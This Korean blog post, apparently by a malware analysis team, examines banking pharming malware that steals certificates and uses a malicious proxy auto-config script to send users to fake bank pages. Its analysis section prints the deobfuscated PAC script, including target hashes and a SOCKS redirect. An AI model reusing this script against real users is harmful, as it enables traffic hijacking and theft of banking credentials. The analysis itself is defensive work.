금융권 파밍 악성코드



malwares.com 코드분석팀 분석 자료


<부제 : 호스트파일을 변조하지않고 파밍을? >


1. 개요

 
랜섬웨어의 눈부신 활약에 가려져 있지만 금융권 파밍 악성코드는 꾸준히 자신의 역할(?)을 해 나가고 있다. 
최근 유포되고 있는 파밍 악성코드는 인터넷 설정의 프록시 설정을 조작해 감염된 PC 사용자가 인터넷에 접속시 파밍 동작을 수행한다. 이때 파밍에 사용되는 정보 중 일부는 악성코드 샘플내에 암호화되어 저장되어 별도로 저장되어 있어 실제 악성코드를 실행하기 이전까지 그 정보를 확인하기 어렵게 되어 있다. 
파밍 악성코드 분석을 통해 악성코드의 세부 동작과 악성코드 유포자의 의도가 무엇인지 알아보자. 


2. 분석 정보 

분석 대상 악성코드는 금융권을 대상으로 한 악성코드인 만큼 금융 거래에 필요한 정보 탈취를 목적으로 한다.

[ 탈취 대상 개인 정보 ]
  • 공인 인증서
  • 비밀번호
  • 보안카드 정보

(1) 공인 인증서 탈취 

< Figure 1. 공인 인증서 탈취 코드 (일부) >


첫번째 금융 거래에 필요한 공인 인증서를 찾는 과정을 수행한다. 기본적으로 공인 인증서가 저장되어 있는 상위 폴더명 (NPKI)를 찾는 동작을 수행하는데 이때 A ~ Z까지 모든 드라이브 중 GetDriveType( ) 함수를 통해 HDD로 확인된 드라이브만을 대상으로 한다. 


< Figure 2. malwares.com 내 행위분석 정보 >


malwares.com의 행위 분석 결과를 통해서도 공인 인증서 탈취를 수행하고 있음을 알 수 있다. 


(2) 파밍을 통한 개인 정보 탈취 


< Figure 3. 악성코드에 의해 설정된 프록시 정보 >


만약 감염 PC내 사용자가 인터넷에 접속할 경우 프록시 주소와 통신하게 된다. 

해당 프록시 주소는 악성코드가 등록해 대기 중인 악성코드 경로이며 "자동 구성 스크립트 사용" 설정을 "허용"함에 따라 악성코드의 스크립트가 실행된다. 

 

< Figure 4. 난독화/패킹된 악성 스크립트 >


악성코드에 실행되는 스크립트는 난독화/패킹되어 있어 난독화 해제/언패킹 동작을 수행해야 한다. 


function aowa(s) { return bbl(coaoo(str(s), s.length * 8)) } function coaoo(x, len) { x[len >> 5] |= 0x80 << (24 - len % 32); x[((len + 64 >> 9) << 4) + 15] = len; var w = Array(80); var a = 1732584193; var b = -271733879; var c = -1732584194; var d = 271733878; var e = -1009589776; for (var i = 0; i < x.length; i += 16) { var olda = a; var oldb = b; var oldc = c; var oldd = d; var olde = e; for (var j = 0; j < 80; j++) { if (j < 16) w[j] = x[i + j]; else w[j] = rol(w[j - 3] ^ w[j - 8] ^ w[j - 14] ^ w[j - 16], 1); var t = safeadd(safeadd(rol(a, 5), lwo_ft(j, b, c, d)), safeadd(safeadd(e, w[j]), lwo_kt(j))); e = d; d = c; c = rol(b, 30); b = a; a = t } a = safeadd(a, olda); b = safeadd(b, oldb); c = safeadd(c, oldc); d = safeadd(d, oldd); e = safeadd(e, olde) } return Array(a, b, c, d, e) } function aisoixo(s) { return aowa(aowa(s) + 'owisoaio') } function lwo_ft(t, b, c, d) { if (t < 20) return (b & c) | ((~b) & d); if (t < 40) return b ^ c ^ d; if (t < 60) return (b & c) | (b & d) | (c & d); return b ^ c ^ d } function lwo_kt(t) { return (t < 20) ? 1518500249 : (t < 40) ? 1859775393 : (t < 60) ? -1894007588 : -899497514 } function safeadd(x, y) { var lsw = (x & 0xFFFF) + (y & 0xFFFF); var msw = (x >> 16) + (y >> 16) + (lsw >> 16); return (msw << 16) | (lsw & 0xFFFF) } function rol(num, cnt) { return (num << cnt) | (num >>> (32 - cnt)) } function str(str) { var bin = Array(); var mask = (1 << 8) - 1; for (var i = 0; i < str.length * 8; i += 8) bin[i >> 5] |= (str.charCodeAt(i / 8) & mask) << (32 - 8 - i % 32); return bin } function bbl(binarray) { var iil_tab = 0 ? "0123456789ABCDEF" : "0123456789abcdef"; var str = ""; for (var i = 0; i < binarray.length * 4; i++) { str += iil_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8 + 4)) & 0xF) + iil_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8)) & 0xF) } return str } var aox = { "953a79295a0437b0d8e5e6e90313504253e9f019": 1, "3d25981ac6e70da136a550f86af0f054e27ff6c7": 1, "ba5b53e2bf18b1cc81ad64ece2b5976af1d3585c": 1, "87edd3a743847c85cac9faef64c9f1411c71a4e1": 1, "aefee035dc2e2b499ba1238ad572d286016cfb80": 1, "74447f0112f57bf9012ad16c3a6d6d09d50183ff": 1, "2444e1c2cf81cf26a226ff4f150ee051e30582c2": 1, "c0dc72625419f6a3efe9e6615b81fdeb0dfe173e": 1, "d6162df137c6c9184a49bf590c5f9361982af43c": 1, "bc2738f25d6cf977152bfe4a197a59231707d95e": 1, "2d52733f6bc76c626a7b3c0322b320d75a04bff8": 1, "60b12bba7a8704393f69be4c25bc1f54faa3f109": 1, "924025f1e6eb4525ebee3ba8a8c1f1b02bdd374a": 1, "526937c0cf5d1a22f0eb58e1a231a32976ebc742": 1, "61141ef21efc697d4f85abbc45bd83201e8c463d": 1, "26919b27b93576559fbdc15bec26794ea9b17a80": 1, "c5229c9f03e93939ab941a91aaa5098a3f3eaad7": 1, "d15f3fa4969e6ac0974d3e82c79382f6a8ddd354": 1, "2863c98a4622418df5f121c382ed550335e61234": 1, "ce5ce66f6a83840c626fbb3586ec5e6c97701d36": 1, "faa7fc18bd44f374a684761b470918c92b788faa": 1, "cd90c43d3dbe38ba13822671517535f3b3d97f9e": 1, "b7936e3501a38ef6a56f2014404eaa7a501801ea": 1, "ceda0542a1f1a6e1c40c750377435c4eb9b331f0": 1, "0ddbb6c285b1b9d33ffcb078c268fa2930c88559": 1, "9f31c3b1864a529fe2b8ecfaa56de879f2a37eac": 1, "968321a4ef21fb60cc7b5f10605e6f728a53a696": 1, "4e00f1bd0252d9f764e36b62f3a77c03b3f13e53": 1, "3a8349016e12e2fe687271827f49fab74eb8124d": 1, "124f5da2a8298f158f9eb136b65e198f25a7056a": 1, "d7670dca6fa30c6c6cf532218c6d421a018fb730": 1, "758b74513ecf92cf8e02ac2f0c2c905f2d4ff79a": 1, "2be2aff28b85b3b5e877acc60e57570f76237708": 1, "69eb22f1b2467163bda5e1cd51f1966fc0cccb27": 1, "beda41c0daeb9121221aee0b85578f504da8bdfd": 1, "6c9e3e7c9a20d5d077fedea41a75b6fe68ad883b": 1, "6f7f38d3223e4dbf65b960015c2ef880c0cfff91": 1, "403c0282c850323717eb3d981796257ed02dbe0c": 1, "77f097d910caf0a025e1c36fa6feb5a7bcb0d05b": 1, "f988b973ca56dfa8b7331085c516bdf37e826100": 1, "b6b01a5a645f8bf9d91173eff79f01601d17241d": 1, "5c47b44615ada7708dfa1fde4adb1edfbe529aa6": 1, "65e83c26be0ae6d4ba38acd9fc701ab2c507d140": 1, "884b3fe0d7d47d1109ae1b99ac40f12d6e4dce8a": 1, "98b1f07933ad95257aaf4afc2eb94dc8e6a31b72": 1, "7bbbcfe533d97b19d360f8d20fc322e36dca0a67": 1, "b8b8e35911eaa2ad36af9cf2b5d2699ab087bba9": 1, "565f218af42ee7b6e1ae039c2666cc40c12c9b36": 1, "4ef374bf19a047fda40cd02a87206e674217bb05": 1, "3a29bd5955f297572d0f88f8fc152c6c3e43dc3c": 1, "a96d20e71ade7ef37cd8f37447d4a1e7540e257c": 1, "079579685499c6782c19b76e1586e0d9ed147abb": 1, "fb9a77e6b5bf6159f9cd0565ce96b2ab47171a4b": 1, "1e8e7f552a81cd13a0571c5bab750bc105c8b081": 1, "78ad3e8f28fe1becd40296054be8e94c3246475a": 1, "d9a623db2ad3ee2e9c07c05ab65384f120c08f33": 1, "9aafc9f0ee4c12303891e6ec4e804a85c107c72f": 1, "9fe443822a6a054d9e621ef167bcdf0951236953": 1, "61a4ada84443927246fbcc69326d1a833b9b0c45": 1, "6c6d24863e7b3ac17dfe934f77a5718f9939b1d4": 1, "525b27c2ccdda6860abd307f13b4ac4eeb4a5d67": 1, "fac641b7ea70e6d71dec2eebdb2064ce68d4b8c9": 1, "8beecd4c12ef342e8f18b5d48967777927b470ee": 1, "f5c9142658c3bc1a9c08d71eb1230be458cc27de": 1, "4fed91358c2996808ca19f419b6f283438c6ad87": 1, "e620b75aa617fdb5676180985ecae8fb2d00ef90": 1, "00908c442197f8f83e8f231c0b6d18732d358127": 1, "180354afcf88d422c604cafb6dc3960845f6c286": 1, "6b2483682e92a91108ddb869ce189cb4ee5ad4e2": 1, "1e74a66e85411ba3fd12563bfa7256314aee1443": 1, "4635396032b89336578a6e9bea878b90518d95ee": 1, "bbf5b652eb0feb10fd72d8c7fcb644b8428cc367": 1, "1c98cccb1a0938dfa063232da7588c460e726f66": 1, "33f374c44ae1281455d393390cc379308047ef49": 1, "f725165e7d74eaad25e6a036f3595fa5b677217c": 1, "a2dbcfb0386e319c0feeabdc2a1fd82d5d20a481": 1, "565fb8736e13d3b75d21be9cf6f4127a1f0e26bf": 1, "6a81a32309980f5d9fc20749bcf1419102e492ab": 1, "1892fc6d270ad55f810d424ed48893875047156e": 1, "0d26da021464202bfbee78f6ecc500d0d12a0ffd": 1, "f0853f9a50271c5d88dc524843e12f740df5e4a1": 1, "5d4316d35dc6cf7afd613f0c1bbdd781457baf34": 1, "8b3ee924d16975e9ec0c63d740ccd0adb68bc3de": 1, "1f30dba9933b23e550403598961488814158e21b": 1, "b81d2f67b86ad22eae7c70a92cf1d27dc0d3198b": 1, "443353e053c09590a296e41fe0f002dcc5e27948": 1, "52e7e52dab8a2ca0586038fc197843347c1c65cf": 1, "600df3a6398d14405fdb62a6dcee0a1b2d304da9": 1, "d0f2a062d5622a0c0a343d0f97ef0d0d5c02193f": 1 }; var aoo = "SOCKS 127.0.0.1:1164"; var oao = 'DIRECT;'; var hasOwnProperty = Object.hasOwnProperty; function FindProxyForURL(osx) { if (hasOwnProperty.call(aox, aisoixo(osx))) { return aoo } return oao }

< Figure 5. 난독화 해제/언패킹된 악성 스크립트 >


난독화 해제된 스크립트는 FindProxyForURL( ) 함수로 사용자가 접속하는 도메인의 호스트를 전달받아 URL을 내부 해시로 변경해 저장되어 있는 해쉬와 비교한다. 만약 일치한 값이 있을 경우 파밍 사이트를 팝업하게 된다. 

이때 비교하는 해쉬 값은 단방향 연산만 가능하므로 해쉬 값을 통해 대상 사이트를 확인할 수는 없으므로 (공인 인증서 탈취, 팝업 정보 등을 바탕으로) 대상 사이트로 추정되는 URL을 입력해 해쉬값을 추출해 비교해야 한다.   


< Figure 6. 확인된 대상 사이트 >


이러한 과정을 통해 확인된 대상 사이트는 다수의 금융권과 포털, 인터넷 쇼핑몰등 금융 거래가 유발되거나 사용자 접속이 많은 사이트를 대상으로 했음을 알 수 있다. 


< Figure 7. 악성 홈페이지 >


은행사이트에 접속한 뒤, 서브페이지에 접근할 시, 다른 페이지로 리다이렉트 된다. 도메인도 변경되지 않았고,
은행사이트로 보이지만 은행에서는 사용자에게 비밀번호와 보안카드를 요구하지않는다.

< Figure 8. 탈취된 개인정보 전송 >


모든 빈칸을 채운뒤 확인을 진행하면 등록이 완료되고, 패킷을 확인해보면 계좌번호,보안카드,이체비밀번호,이름,은행이름등의 정보가 해커의 서버로 전송되는 것을 확인할 수 있다. 



3. 파일 정보



이 글을 공유하기

댓글

Designed by JB FACTORY